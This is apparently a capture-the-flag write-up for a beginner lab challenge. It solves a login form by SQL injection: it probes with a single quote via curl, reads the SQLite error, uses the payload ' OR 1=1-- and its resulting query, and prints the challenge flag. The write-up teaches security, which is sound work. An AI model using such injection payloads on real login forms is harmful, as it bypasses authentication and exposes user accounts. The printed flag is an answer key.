Villain's Login classic SQL injection, OR 1=1 past the password check

web
flag L3m0n{6decfe706de49799146a988b599e476a}

A 100-point guided lesson teaching SQL injection by pointing straight at the bug: a login form that concatenates your input into a query.

Poke it with a quote

The first move on any login form is a lone single quote - not because it usually works, but because the error (or lack of one) tells you what's behind it.

bash
1curl -s -X POST https://beginner.l3m0nctf.xyz/lab/web/villain-login \
2  --data-urlencode "username='" --data-urlencode "password=x"
output
Database error: unrecognized token: "x'"

The quote wasn't escaped, so it landed in the SQL and broke parsing. The wording "unrecognized token" is SQLite's own, which matters: SQLite comments to end-of-line with a bare --, while MySQL wants a trailing space after it. Knowing which engine you're on saves a round of blind guessing.

The payload

output
username: ' OR 1=1--
password: (anything)
sql
SELECT * FROM users WHERE username = '' OR 1=1--' AND password = 'x'

-- comments out the password check, 1=1 matches every row, and the first row back is dr_doomberry - "Supreme Villain" - whose dashboard prints "today's secret plan code," which is our flag.

Pitfall

No real dead end here, but two of my own detectors nearly lied to me:

  • Flag grep false positive. Every page on this lesson, including the denied page, carries <div>Flag format: L3m0n{32 hex characters}</div> in its footer. Grepping loosely for L3m0n{ "matches" the denied page too. Matching the real shape, L3m0n\{[0-9a-f]{32}\}, fixes it.
  • Message extractor blind spot. My regex for the response message was tuned to the failure markup (cp-msg bad), and the success dashboard uses a different block entirely, so it silently returned nothing on the one request that actually worked. Two detectors disagreeing is a signal that at least one of them is wrong - worth building in from the start.

Note

Negative controls, to make sure the flag is actually gated and not just unconditionally served: ' OR 1=2-- (escapes the quote but is false) and the real username with a wrong password both deny. Only the true condition opens the door.